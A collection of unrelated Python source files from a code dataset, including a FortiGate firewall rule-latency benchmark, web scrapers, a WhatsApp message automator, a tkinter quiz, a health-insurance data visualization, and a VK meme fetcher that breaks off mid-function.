+{"seq_id":"453905817","text":"f=open(\"employee demo \",\"r\" )\nid=[]\nname=[]\nsal=[]\nfor line in f:\n lines=line.rstrip(\"\\n\").split(\",\")\n id1=lines[0]\n name1=lines[1]\n sal1=lines[2]\n id.append(id1)\n name.append(name1)\n sal.append(sal1)\nprint(id,name,sal)","sub_path":"File Input & Output Function/create diff list.py","file_name":"create diff list.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"497199410","text":"import os\nimport time\nimport socket\nimport threading\n\nimport pandas as pd\nfrom configparser import ConfigParser\n\nimport pyfortiapimod\n\n\nstart_global = 0.0\napi_invoke_add = []\napi_invoke_move = []\nrule_apply = []\nglobal_time = []\ntotal_time = []\napi_invoke_delete = []\n\n\ndef change_format_float_list(old_list):\n new_list = list()\n for flt in old_list:\n new_list.append(str(flt).replace('.', ','))\n\n return new_list\n\ndef check_port_connection(host, port):\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(0.05)\n s.connect((host, int(port)))\n s.shutdown(socket.SHUT_RDWR)\n return True\n\n except:\n return False\n\n\ndef take_time(destination_net, action):\n global start_global\n global rule_apply\n global global_time\n\n # accept case\n response = False\n escape = True\n\n if action == 'deny':\n print(\"in deny\")\n response = not response\n escape = not escape\n\n start_apply = time.monotonic()\n\n while response != escape:\n response = check_port_connection(destination_net[:-3], 80)\n # print(response)\n # time.sleep(0.25)\n\n end_apply = time.monotonic()\n print(f\"Wait_apply_rule: start {start_apply} - end {end_apply} Time: {end_apply - start_apply}\")\n print(f\"Global_time_rule: start {start_global} - end {end_apply} Time: {end_apply - start_global}\")\n rule_apply.append(end_apply - start_apply)\n global_time.append(end_apply - start_global)\n\n\ndef get_policy_rules(fgt):\n print(\"List of entered rules:\")\n rules = fgt.get_firewall_policy()\n return rules\n\n\ndef remove_rule(fgt, id, takeStartTime=True):\n global api_invoke_delete\n policy_id = id\n start_delete = time.monotonic()\n reply = fgt.delete_firewall_policy(policy_id) # creo la rule\n if reply == 200:\n end_delete = time.monotonic()\n if takeStartTime:\n api_invoke_delete.append(end_delete - start_delete)\n print(f\"The rule with ID {policy_id} has been deleted in {end_delete - start_delete} seconds\")\n else:\n print(\"Problems with rule deletion\")\n\n\ndef remove_all_rules(fgt):\n rules = get_policy_rules(fgt)\n if rules != 404:\n for i in range(len(rules)):\n remove_rule(fgt, i + 1, False)\n print(\"All rule are deleted\")\n else:\n print(\"No rules\")\n\n\ndef add_rule(fgt, data, takeStartTime=True, time_calulation=True):\n global start_global\n global api_invoke_add\n global api_invoke_move\n\n start_add = time.monotonic()\n if takeStartTime:\n start_global = start_add\n\n reply = fgt.create_firewall_policy(data['policyid'], data)\n if reply == 200:\n end = time.monotonic()\n if time_calulation:\n api_invoke_add.append(end - start_add)\n\n print(f\"The rule with ID {data['policyid']} has been inserted in {end - start_add} seconds\")\n\n if data['policyid'] == 1:\n print(\"First Rule\")\n else:\n start_move = time.monotonic()\n fgt.move_rule(data['policyid'], \"before\", data['policyid'] - 1)\n end_move = time.monotonic()\n if time_calulation:\n api_invoke_move.append(end_move - start_move)\n print(f\"The rule with ID {data['policyid']} has been moved in {end_move - start_move} seconds\")\n\n else:\n print(\"Problems with rule insertion\")\n print(reply)\n fgt.logout()\n exit(1)\n\n\ndef execute_test(fgt, source_name, destination_name, destination_net):\n global start_global\n start_send = time.monotonic()\n start_global = start_send\n print(f\"Start global time test {start_global}\")\n remove_rule(fgt, 1)\n print(f\"Eliminated the rule that blocks IP on port 80\")\n data = get_rule_data(1, 'Accept hostb -> hosta port 80', source_name, destination_name, 'accept')\n add_rule_and_take_application_time(fgt, data, destination_net, takeStartTime=False)\n print(\"Add accept rule destination IP on port 80\")\n\n\ndef get_rule_data(policy_id, rule_name, source_name, destination_name, action):\n data = {\n 'policyid': policy_id,\n 'name': rule_name,\n 'srcintf': [{'name': 'port1'}], # è l'interfaccia collegata con il client\n 'dstintf': [{'name': 'port2'}], # è l'interfaccia collegata ad internet\n 'srcaddr': [{'name': source_name}],\n 'dstaddr': [{'name': destination_name}],\n 'action': action, # accept o deny\n 'status': 'enable',\n 'schedule': 'always', # si possono inserire i giorni della settimana\n 'service': [{'name': 'NGINX'}], # servizi PING, HTTP, ecc.\n 'nat': 'disable',\n 'logtraffic': 'all'\n }\n\n return data\n\n\ndef add_rule_and_take_application_time(fgt, data, destination_net, takeStartTime=True):\n\n threading.Thread(target=add_rule(fgt, data, takeStartTime)).start()\n threading.Thread(target=take_time(destination_net, data['action'])).start()\n\n\ndef print_test_port_80_results():\n\n df = pd.DataFrame(\n {\n \"API Invoke delete\": change_format_float_list(api_invoke_delete),\n \"API Invoke Add\": change_format_float_list(api_invoke_add),\n \"Rule apply\": change_format_float_list(rule_apply),\n \"Total Time\": change_format_float_list(total_time),\n \"Global Time\": change_format_float_list(global_time)\n }\n )\n\n print(df)\n return df\n\n\ndef calculate_total_time(i):\n global api_invoke_add\n global api_invoke_delete\n global rule_apply\n global total_time\n\n total_time.append(api_invoke_add[i] + api_invoke_delete[i] + rule_apply[i])\n\n\nif __name__ == '__main__':\n # Read configuration file\n configuration = ConfigParser()\n abs_folder_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n configuration.read(os.path.join(abs_folder_path, 'configuration.ini'))\n\n username = configuration['FORTIGATE']['username']\n password = configuration['FORTIGATE']['password']\n firewall_IP = configuration['FORTIGATE']['firewall_IP']\n source_name = configuration['FORTIGATE']['source_name']\n destination_name = configuration['FORTIGATE']['destination_name']\n destination_net = configuration['FORTIGATE']['destination_net']\n n_rules = int(configuration['FORTIGATE']['n_rules'])\n\n fgt = pyfortiapimod.FortiGate(ipaddr=firewall_IP, username=username, password=password, port='80')\n fgt.login()\n for i in range(n_rules):\n remove_all_rules(fgt)\n time.sleep(4)\n\n # Preparazione ambiente\n print(\"Add block rule destination ip on port 80\")\n data = get_rule_data(1, \"Block hostb -> hosta port 80\", source_name, destination_name, 'deny')\n add_rule(fgt, data, takeStartTime=False, time_calulation=False)\n time.sleep(4)\n execute_test(fgt, source_name, destination_name, destination_net)\n calculate_total_time(i)\n time.sleep(4)\n\n df = print_test_port_80_results()\n df.to_csv(os.path.join(os.path.dirname(abs_folder_path), 'fortigate.csv'), sep=\";\", index=False)\n fgt.logout()\n","sub_path":"fortigate_api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"295479993","text":"# -*- coding:utf-8 -*-\n\"\"\"\n-------------------------------------------------\n\n File Name: scrapy_spiders/specific_spiders/qyxg_xzcf/Crawler__credit_wuxi_base.py\n\n Description: 信用巫溪-行政许可&行政处罚\n\n Author: dengliangwen@bbdservice.com\n\n Date: 2018-08-21-14:55:06\n\n Version: v1.0\n\n Lastmodified: 2018-08-21 by Jack Deng\n\n-------------------------------------------------\n\"\"\"\n\nimport re\nimport json\nimport traceback\n\nfrom math import ceil\nfrom scrapy import Request, FormRequest\n\nfrom hive_framework_milk.scrapy_spiders.spiders.spider import Spider\n\n\nclass Crawler__credit_wuxi_base(Spider):\n \"\"\"\n class Crawler__credit_wuxi_base for\n 信用奉节-行政许可&行政处罚 基类\n \"\"\"\n\n name = \"Crawler__credit_wuxi_base\"\n page_url = \"\"\n detail_url = \"\"\n specific_settings = {\n 'DOWNLOADER_MIDDLEWARES': {\n 'scrapy_spiders.middleware.filterkeywordsmiddleware.FilterKeywordsMiddleware': 300\n },\n }\n filter_keywords_for_page = {\n 'http://wuxi.hlxy.com/documents/api/queryCreditPublicity?pageNum=.*&typeCode=300008&keyWord=': {\n 'pass_key_word': [''],\n },\n }\n\n def get_ext_requests_or_urls(self):\n \"\"\"\n custom first request\n :Keyword Arguments:\n self --\n :return: None\n \"\"\"\n return Request(\n url=self.page_url.format(\"1\"),\n dont_filter=True,\n callback=self.parse,\n errback=self.err_parse\n )\n\n def parse(self, response):\n \"\"\"\n parse first page and get all pageNum\n :Keyword Arguments:\n self --\n resposne --\n :yield: turn page requests\n \"\"\"\n try:\n for req in self.parse_list(response):\n yield req\n json_data = json.loads(response.text)\n total_page = int(json_data[\"data\"][\"totalPage\"])\n for page in range(2, total_page+1):\n yield Request(\n url=self.page_url.format(page),\n dont_filter=True,\n callback=self.parse_list,\n errback=self.err_parse,\n meta={\"page\": page}\n )\n self.logger1.info(\"yield turn page {}\".format(page))\n except Exception as err:\n err_msg = traceback.format_exc()\n self.logger1.warning(\n \"failed to parse page {page}, url {url} error:{err_msg}\".\n format(page=page, url=response.url, err_msg=err_msg))\n\n def parse_list(self, response):\n \"\"\"\n parse each list and yield detail requests\n :Keyword Arguments:\n self --\n response --\n :return: None\n \"\"\"\n try:\n page = response.meta.get(\"page\", 1)\n json_data = json.loads(response.text)\n data_list = json_data[\"data\"][\"data\"]\n id_list = [(x[\"id\"], x[\"orgName\"])for x in data_list]\n for id_name in id_list:\n detail_id, name = id_name\n yield Request(\n url=self.detail_url.format(detail_id),\n callback=self.save_detail,\n errback=self.err_parse,\n meta={\n \"name\": name,\n \"page\": page,\n }\n )\n self.logger1.info(\"page {} yield detail name {}\".format(page, name))\n except Exception as err:\n err_msg = traceback.format_exc()\n self.logger1.warning(\n \"failed to parse page {page}, url {url} error:{err_msg}\".\n format(page=page, url=response.url, err_msg=err_msg))\n\n def save_detail(self, response):\n \"\"\"\n save detail page to ssdb\n :Keyword Arguments:\n self --\n response --\n :return: None\n \"\"\"\n try:\n page, name = response.meta[\"page\"], response.meta[\"name\"]\n status, item = self.source_item_assembler(response)\n if status:\n yield item\n self.logger1.info(\"page {} save to ssdb\".format(\n page, name))\n else:\n self.logger1.warning(\"page {} save failed\".format(\n page, name))\n except Exception as err:\n err_msg = traceback.format_exc()\n self.logger1.warning(\n \"failed to parse page {page}, url {url} error:{err_msg}\".\n format(page=page, url=response.url, err_msg=err_msg))\n\n def err_parse(self, failure):\n self.logger1.warning('failed request page: {}'.format(\n failure.request.url))\n","sub_path":"cralwe/qyxg_xzcf/Crawler__credit_wuxi_base.py","file_name":"Crawler__credit_wuxi_base.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"457931128","text":"import os\nimport pyperclip\nimport pyautogui as gui\nimport pandas as pd\nimport time\n\n\nclass AutoWhatsapp():\n def __init__(self) -> None:\n # input(\"Whatsapp Web penceresinin açık olduğundan eminseniz ENTER'a basınız.\")\n pass\n\n def start(self):\n self.showWhatsappWindow()\n\n if not self.isActiveWindow('whatsapp'):\n input(\n 'Whatsapp Web penceresinin açık olduğundan emin olup tekrardan çalıştırınız.')\n else:\n self.findUsersAndSendMessages()\n\n def findUsersAndSendMessages(self):\n users = self.getUsers()\n for user in users:\n btnX, btnY = self.getSearchButton()\n gui.click(button='left', x=btnX, y=btnY, clicks=1)\n\n name = str(user[0])\n number = str(user[1])\n time.sleep(1)\n if number == 'nan' and name == 'nan':\n continue\n\n if number == 'nan':\n pyperclip.copy(name)\n gui.hotkey('ctrl', 'v')\n gui.press('enter')\n\n elif name == 'nan':\n pyperclip.copy(str(int(float(number.replace('+', '').replace(' ', '', 5)))))\n gui.hotkey('ctrl', 'v')\n gui.press('enter')\n\n else:\n pyperclip.copy(name)\n gui.hotkey('ctrl', 'v')\n gui.press('enter')\n\n self.sendMessage() \n else:\n pass\n\n def sendMessage(self):\n time.sleep(2)\n messageText = self.getMessageText()\n pyperclip.copy(messageText)\n gui.hotkey('ctrl', 'v')\n gui.press('enter')\n\n def getMessageText(self):\n path = os.path.dirname(os.path.realpath(__file__))\n path += '/message.txt'\n with open(path, 'r', encoding='UTF-8') as file:\n text = ''.join(file.readlines())\n return text\n\n def getUsers(self):\n # TODO => Seperate with ';' not ','\n path = os.path.dirname(os.path.realpath(__file__))\n path += '/users.csv'\n df = pd.read_csv(path, sep=';')\n users = df.values.tolist()\n return users\n\n def getSearchButton(self):\n time.sleep(1)\n path = os.path.dirname(os.path.realpath(__file__))\n path += '/search-2.png'\n buttonLocation = gui.locateOnScreen(path)\n buttonPoint = gui.center(buttonLocation)\n # print(buttonPoint)\n return buttonPoint.x, buttonPoint.y\n\n def showWhatsappWindow(self):\n for title in gui.getAllTitles():\n if 'whatsapp' in title.lower():\n activeWindow = gui.getActiveWindow()\n whatsapp = gui.getWindowsWithTitle(title)[0]\n activeWindow.minimize()\n whatsapp.minimize()\n whatsapp.maximize()\n break\n\n def isActiveWindow(self, title: str):\n activeTitle = gui.getActiveWindow().title.lower()\n title = title.lower()\n if title in activeTitle:\n return True\n else:\n return False\n\n def getPosition(self):\n time.sleep(2)\n return gui.position()\n\n def getSize(self):\n time.sleep(2)\n return gui.size()\n\n\nAutoWhatsapp().start()","sub_path":"send-message.py","file_name":"send-message.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"340918498","text":"#coding:utf-8\n#Author: wang.huaiyu.shui@gmail.com\nimport MySQLdb\nfrom MySQLdb import cursors\nimport conf\n\ndef get_sys_connection(is_master = True):\n if is_master:\n ooo = conf.MYSQL_DICT\n else:\n ooo = conf.MYSQL_DICT\n def _get_conn():\n conn = MySQLdb.connect(**ooo)\n return conn\n return _get_conn()\n\nclass DBCursor(object):\n @property\n def cursor(self):\n if not hasattr(self, \"_conn\"):\n self._conn = get_sys_connection()\n else:\n try:\n self._conn.ping()\n except MySQLdb.Error:\n self._conn = get_sys_connection()\n return self._conn.cursor(cursors.DictCursor)\n\n","sub_path":"modules/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"463364371","text":"from tkinter import *\r\nimport tkinter.messagebox\r\nq = [\t\r\n \"Which is the volatile memory in a computer system?\",\r\n \"Which one should be the first high level programming language?\",\r\n \"How many states in India have Legislative Council?\",\r\n \"The first person to receive e-passport in India was issued to?\",\r\n \"Which is the Capital of india\",\r\n \"which is the Capital of Karnataka\",\r\n \"which is the Capital of Tamilnadu state\",\r\n \"which is the Capital of Madhya pradesh\",\r\n ]\r\noptions = [\r\n [\"HardDisk\",\"RAM\",\"ROM\",\"Optical Drive\"],\r\n [\"C\",\"COBOL\",\"FORTRAN\",\"C++\"],\r\n [\"7\",\"12\",\"15\",\"21\"],\r\n [\"Somnath Chatterje\",\"Pranab Mukherjee\",\"Pratibha Patil\",\"Narendra Modi\"], \r\n [\"Delhi\",\"Mumbai\",\"Kolkata\",\"Chennai\"],\r\n [\"Delhi\",\"Mumbai\",\"Chennai\",\"Bengalure\"],\r\n [\"Bengalure\",\"Dehli\",\"Hyderabad\",\"Chennai\"],\r\n [\"Lucknow\",\"Bhopal\",\"Goa\",\"Manipur\"],\t\r\n \r\n]\r\na = [2,3,1,3,1,4,4,2]\r\n\r\n\r\n\r\n\r\nclass Quiz:\r\n def __init__(self,master):\r\n self.opt_selected = IntVar()\r\n self.qn = 0\r\n self.correct = 0\r\n self.ques = self.create_q(master,self.qn)\r\n self.opts = self.create_options(master, 4)\r\n self.display_q(self.qn)\r\n self.status_bar1 = self.create_status_bar1(master)\r\n self.status_bar = self.create_status_bar(master)\r\n self.create_nav(master)\r\n\r\n \r\n def create_status_bar(self,master):\r\n status_bar = Label(master,text=\"choose your answer....!!!\",bd=1,relief=SUNKEN,anchor=W)\r\n status_bar.pack(side=BOTTOM,fill=X)\r\n return status_bar\r\n\r\n def create_status_bar1(self,master):\r\n status_bar1 = Label(master,text=\"click on option..!!\",bd=1,relief=SUNKEN,anchor=W)\r\n status_bar1.pack(side=BOTTOM,fill=X)\r\n return status_bar1\r\n def create_nav(self,master): \r\n self.button = Button(master, text=\"Back\", command=self.back_btn)\r\n self.button.pack(side=BOTTOM)\r\n self.button = Button(master, text=\"Next\", command=self.next_btn)\r\n self.button.pack(side=BOTTOM)\r\n def create_q(self,master,qn):\r\n w = Label(master, text=q[qn])\r\n w.pack(side=TOP)\r\n return w\r\n def create_options(self,master,n):\r\n b_val = 0\r\n b = []\r\n while b_val < n:\r\n btn = Radiobutton(master,text=\"foo\",variable=self.opt_selected,value=b_val+1)\r\n b.append(btn)\r\n btn.pack(side=TOP, anchor=\"w\")\r\n b_val = b_val + 1\r\n return b\r\n def display_q(self,qn):\r\n b_val = 0\t\r\n self.opt_selected.set(0)\r\n self.ques['text'] = q[qn]\r\n for op in options[qn]:\r\n self.opts[b_val]['text'] = op\r\n b_val = b_val + 1\r\n def check_q(self,qn):\r\n if self.opt_selected.get() == a[qn]:\r\n return True\r\n return False\r\n def print_results(self):\r\n result = \"Score:\" + str(self.correct) + \"/\" + str(len(q))\r\n tkinter.messagebox.showinfo(\"Final Result\", result)\r\n print(\"Score\",self.correct,\"/\",len(q))\r\n def back_btn(self):\r\n print(\"go back\")\r\n self.qn =self.qn - 1\r\n self.display_q(self.qn)\r\n def next_btn(self):\r\n if self.check_q(self.qn):\r\n self.status_bar['text'] = \"Correct\"\r\n self.correct += 1\r\n self.status_bar1['text'] = \"Score:\",self.correct \r\n else:\r\n self.status_bar['text'] = \"Wrong\"\r\n self.status_bar1['text']= \"Score:\",self.correct\r\n self.qn =self.qn + 1\r\n if self.qn >= len(q):\r\n self.print_results()\r\n else:\r\n self.display_q(self.qn)\r\n\r\nroot = Tk()\r\nroot.title(\"Multiple choose question\")\r\nroot.geometry(\"500x300\")\r\napp = Quiz(root)\r\nroot.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"3rd sem project.py","file_name":"3rd sem project.py","file_ext":"py","file_size_in_byte":3757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"182284892","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Visualization of Health Insurance Marketplace Dataset : Jesse Tackett\n\n# In[2]:\n\n\nimport matplotlib as mat\nimport pymongo as mongo\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nprint(\"Libraries Imported\")\n\n\n# In[3]:\n\n\nclient = mongo.MongoClient()\nprint(\"Database Loaded\")\n\n\n# # Question A:1 ServiceAreaName\n# ## A) Use “Service Area Dataset” from MongoDB. Find and plot the count of ServiceAreaName, SourceName , and BusinessYear across the country each state?\n\n# In[125]:\n\n\ndb = client.HealthInsuranceMarketplace\nserviceArea = db.ServiceArea\n\ndfServiceAreaName = pd.DataFrame(list(serviceArea.find()))#Grab all of Service Area and make it a dataframe\ndf_final = dfServiceAreaName.groupby(\"StateCode\")['ServiceAreaName'].nunique()\n# ^ This line takes all the info and just makes it only show the distinct counts of Service Area Name within each State code\n\ndf_final.plot(y=['ServiceAreaName'],x=['StateCode'],kind=\"bar\",figsize=(15,7))#Of corse plot the dataframe\n\nclient.close()\n\n\n# # Question A:2 SourceName\n# ## A) Use “Service Area Dataset” from MongoDB. Find and plot the count of ServiceAreaName, SourceName , and BusinessYear across the country each state?\n\n# In[124]:\n\n\ndb = client.HealthInsuranceMarketplace\nserviceArea = db.ServiceArea\n\nprojection = {'SourceName':1,'StateCode':1,'_id':0}#This is used to only grab what is needed\ndfList = []#empty list for later use\nsnList = list(serviceArea.distinct('SourceName'))#List of distinct values of Source Name\n\nfor i in snList:#Use each source name to only grab states related to them\n dfList.append(pd.DataFrame(list(serviceArea.find({'SourceName':i}, projection))))\n\nclient.close()\ncount = -1\nfor i in snList:\n count += 1\n dfList[count] = dfList[count].groupby(['StateCode']).count()\n # ^ takes each SourceName dataframe and groups by state and counts the SourceName\n dfList[count].rename(columns = {'SourceName':i}, inplace = True)\n # ^ takes each column of SourceName counts in the dataframes and names it the corresponding Source Name \n\n\ndf_temp = pd.merge(dfList[0], dfList[1], on='StateCode', how='outer')\ndf_final = pd.merge(df_temp, dfList[2], on='StateCode', how='outer')\n# ^ This block of code does outter joins on the dataframes to keep all states\n\ndf_final.plot.bar(figsize=(15,7))\n#print(df_final)\n\n\n# # Question A:3 BusinessYear\n# ## A) Use “Service Area Dataset” from MongoDB. Find and plot the count of ServiceAreaName, SourceName , and BusinessYear across the country each state?\n\n# In[5]:\n\n\ndb = client.HealthInsuranceMarketplace\nserviceArea = db.ServiceArea\n\nprojection = {'BusinessYear':1,'StateCode':1,'_id':0}#This is used to only grab what is needed\ndfList = []#empty list for later use\nyrList = list(serviceArea.distinct('BusinessYear'))#List of distinct values of Business Year\n\nfor i in range(len(yrList)):#Use each Business Year to only grab states related to them\n dfList.append(pd.DataFrame(list(serviceArea.find({'BusinessYear':yrList[i]}, projection))))\n\nclient.close()\nfor i in range(len(yrList)):\n dfList[i] = dfList[i].groupby(['StateCode']).count()\n # ^ takes each Business Year dataframe and groups by state and counts the Business Year\n dfList[i].rename(columns = {'BusinessYear':f'{yrList[i]}'}, inplace = True)\n # ^ takes each column of Business Year counts in the dataframes and names it the corresponding Business Year \n\ndf_temp = pd.merge(dfList[0], dfList[1], on='StateCode')\ndf_final = pd.merge(df_temp, dfList[2], on='StateCode')\n# ^ This block of code does outter joins on the dataframes to keep all state\n\ndf_final.plot.bar(figsize=(15,7))\n#print(df_final)\n\n\n# # B) Use “Service Area Dataset” from MongoDB. Find and plot the count of “sources” across the country.\n\n# In[16]:\n\n\ndb = client.HealthInsuranceMarketplace\nserviceArea = db.ServiceArea\n\ndfSource = pd.DataFrame(list(serviceArea.find()))#Grab the whole ServiceArea\ndf_final = dfSource.groupby(\"StateCode\")['SourceName'].count()#count the amount of SourceNames per State\n\ndf_final.plot.bar(figsize=(15,7), color = 'orange')\n# ^ plot the DataFrame\nclient.close()\n\n\n# # C) Use the “Benefit-Cost Sharing” dataset from MongoDB. Display a table of the names of the plans with the most customers by state, the number of customers for that plan and the total number of customers. (Hint: use Statecode, benefitName)\n\n# In[15]:\n\n\ndb = client.HealthInsuranceMarketplace\nbenefitsCostSharing = db.BenefitsCostSharing\n\nstate = list(benefitsCostSharing.distinct('StateCode'))#Grab a list of each state in the Table\n\nval_list = []#create a holding list to grab values in the for statement\nfor st in state:\n query = ([\n { '$match' : {\"StateCode\" : st} },\n { '$group' : {'_id': \"$BenefitName\", 'count': {'$sum': 1}}}])\n # ^ aggregate query to grab the unique BenefitNames and count them per state \n df_hold = pd.DataFrame(list(benefitsCostSharing.aggregate(query)))#put the results into a temporary holding dataframe\n maxIndex = df_hold['count'].idxmax()#find the max count row id\n maxIndex_val = df_hold.iloc[maxIndex]#pull the whole row information based on the row id\n df_partial = pd.DataFrame(maxIndex_val)#make the output value into a dataframe\n dict_hold = df_partial.to_dict()#convert the dataframe into a dictionary\n removed_value = dict_hold.pop(maxIndex, None)#peel away the outter dictionary and take the result\n removed_value['StateCode'] = st#add the current state to the dictionary\n val_list.append(removed_value)#append the current dictionary in the for loop to the otter list\n\ndf_semiFinal = pd.DataFrame(val_list)#take the outter list now filled with dictionaries and turn into semiFinal dataframe\ndf_semiFinal.rename(columns = {'_id':'BenefitName'}, inplace = True)#rename column for consistancy\n\n#make empty holding dicts and lists\nstate_dict = {}\nstateHold = []\ncustHold = []\n\ndf = pd.DataFrame(list(benefitsCostSharing.find({},{'StateCode':1,'_id':0})))#grab only state codes from benefits table\ndf_state = df.groupby(\"StateCode\")['StateCode'].count()#group the states and count them\n#^ this data frame had no column names just a title/column for both values \n#making it impossible to join on the semi Final DataFrame\n\n#had to convert to dictionary to peel all the '0' keys from the now StateCount dictionary\nstateCustCount_dict = df_state.to_dict()\nfor st in state:#since were still dealing with the same state from the table\n custTotal = stateCustCount_dict.pop(st, None)#take the totals from the states and put into a list\n stateHold.append(st)#append the current state into a list\n custHold.append(custTotal)#append the current total of the for loop state into a list\nstate_dict['StateCode'] = stateHold#put the full state list into the key of 'StateCode' of the dictionary\nstate_dict['TotalCustomers'] = custHold#put the full custCount list into the key of 'TotalCustomers' of the dictionary\ndf_stateFinal = pd.DataFrame(state_dict)#make a clean mergable dataframe from the dictionary\n\ndf_final = pd.merge(df_semiFinal, df_stateFinal, on='StateCode', how='outer')\n# ^ merge the dataframes together to make the full table\n\nprint(df_final)# show table\ndf_stateFinal.plot.bar(x='StateCode', y='TotalCustomers',color='green',figsize=(15,7))#plot to show some visual\ndf_semiFinal.plot.bar(x='BenefitName',y='count', color = 'brown',figsize=(15,7))#plot to show some visual\n\nclient.close()\n\n\n# # D) Use the “Benefit Cost Sharing” dataset from MongoDB. Find and plot the number of benefit plans in each state.\n# \n\n# In[17]:\n\n\ndb = client.HealthInsuranceMarketplace\nbenefitsCostSharing = db.BenefitsCostSharing\n\ndf = pd.DataFrame(list(benefitsCostSharing.find()))#grab the whole table/collection form mongo\ndf_final = df.groupby(\"StateCode\")['BenefitName'].count()#group by state and count by amount of benefit names\n#df_final = df.groupby(\"StateCode\")['BenefitName'].nunique() #incase you want to count each unique benefit name by state\n\ndf_final.plot(y=['BenefitName'],x=['StateCode'],kind=\"bar\",figsize=(15,7),color='m')\n\nclient.close()\n\n\n# # E) Use the “Insurance” dataset from MongoDB and find the number of mothers who smoke and also have children.\n\n# In[14]:\n\n\ndb = client.HealthInsuranceMarketplace\ninsurance = db.Insurance\nquery = {'smoker':'yes','sex':'female','children':{'$gt':0}}#query to find the smoking mohters with children\nprojection = {'region':1,'sex':1,'_id':0}#projection to only get region and sex\nsmokerDF = pd.DataFrame(list(insurance.find(query,projection)))#take find query and put into data frame\nsmokerDF = smokerDF.groupby(['region']).count()#take count all the people with the past query and count them per region\nTotal = smokerDF['sex'].sum()#sum up all the mothers\nprint(f'The total numer of smoking mothers is: {Total}')#present total\nsmokerDF.plot.bar(color='gray')#show the smoking mothers per region\nclient.close()\n\n\n# # F) Use the “Insurance” dataset from MongoDB. Find out which region has the highest rate of smokers. Plot the results for each region.\n\n# In[16]:\n\n\ndb = client.HealthInsuranceMarketplace\ninsurance = db.Insurance\n\nprojection = {'smoker':1,'region':1,'_id':0}#projection to only show what we want\ndfList = []#empty list to fill\nsnList = list(insurance.distinct('smoker'))#give me 'yes' or 'no' in a list\n\nfor i in snList:\n dfList.append(pd.DataFrame(list(insurance.find({'smoker':i}, projection))))#give me each smoker yes or no in a dataframe\n\nclient.close()\ncount = -1\nfor i in snList:#for eache yes/no dataframe\n count += 1\n dfList[count] = dfList[count].groupby(['region']).count()#count and group by region for yes and no dataframe\n dfList[count].rename(columns = {'smoker':i}, inplace = True)#to give more context for the dataframes\n\n#print(dfList[1]) #if you would like to see smokers per-region\n#print(dfList[0]) #if you would like to see non-smokers per-region\n\ndfList[1].plot.bar(color='gray')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Visualization/TackettJesse_Visualization.py","file_name":"TackettJesse_Visualization.py","file_ext":"py","file_size_in_byte":9930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"109376398","text":"#Import os to modify env variables\nimport os\nimport json\n\n#Import dynamoDB handler\nimport boto3\n\n#Set environment variables for AWS\nos.environ[\"AWS_CONFIG_FILE\"] = './.aws_credentials'\nos.environ[\"AWS_DEFAULT_REGION\"] = \"us-west-2\"\n\n#Create DynamoDB resource\ndynamodb = boto3.resource('dynamodb')\nwith open('table_config.json') as table_config_file:\n\tTABLE_CONFIG = json.load(table_config_file)\n\n#Create DynamoDB table\ntable = dynamodb.create_table(\n\tTableName=TABLE_CONFIG['TableName'],\n\tKeySchema=TABLE_CONFIG['KeySchema'],\n\tAttributeDefinitions=TABLE_CONFIG['AttributeDefinitions'],\n\tProvisionedThroughput=TABLE_CONFIG['ProvisionedThroughput']\n)\n\n# Wait until the table exists.\ntable.meta.client.get_waiter('table_exists').wait(TableName=TABLE_CONFIG['TableName'])\n\n# Print out some data about the table.\nprint(table.item_count)\n\ndef get_table_schema():\n\tschema = []\n\tfor attribute in TABLE_CONFIG['AttributeDefinitions']:\n\t\tschema.append(attribute['AttributeName'])\n\t","sub_path":"DynamoDBTableCreation/create_dynamodb_table.py","file_name":"create_dynamodb_table.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"419681361","text":"import requests\nfrom bs4 import BeautifulSoup\n\nlink = \"https://browser-info.ru/\"\nresponse = requests.get(link).text\nsoup = BeautifulSoup(response, 'lxml')\nblock = soup.find('div', id = \"tool_padding\")\n\n# Check js\ncheck_js = block.find('div', id = 'javascript_check')\nstatus_js = check_js.find_all('span')[1].text\nresult_js = f'javascript: {status_js}'\n\n# Check_flash\ncheck_flash = block.find('div', id = \"flash_version\")\nstatus_flash = check_flash.find_all('span')[1].text\nresult_flash = f'flash: {status_flash}'\n\n# Check user-agent\n\ncheck_user = block.find('div', id = \"user-agent\")\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"300545889","text":"import random\nimport os\nimport vk\n\n\nclass VkIntegration:\n\n '''Class for vk api commands'''\n\n def __init__(self):\n self.vk_token = os.environ['VK_TOKEN']\n self.session = vk.Session(self.vk_token)\n self.api = vk.API(self.session, v='5.131')\n\n def random_meme(self, lang='ru'):\n\n '''Return mem picture from vk.com'''\n\n offset = random.randint(0, 1000)\n pictures = []\n while True:\n if lang == 'ru':\n r = self.api.wall.get(owner_id='-65596623', count=100, offset=offset)\n if lang == 'en':\n r = self.api.wall.get(owner_id='-32041317', count=100, offset=offset)\n item = random.choice(r['items'])\n for attachment in item['attachments']:\n if attachment['type'] == 'photo':\n pictures.append(attachment)\n if pictures:\n break\n if pictures:\n urls = []\n for picture in pictures:\n 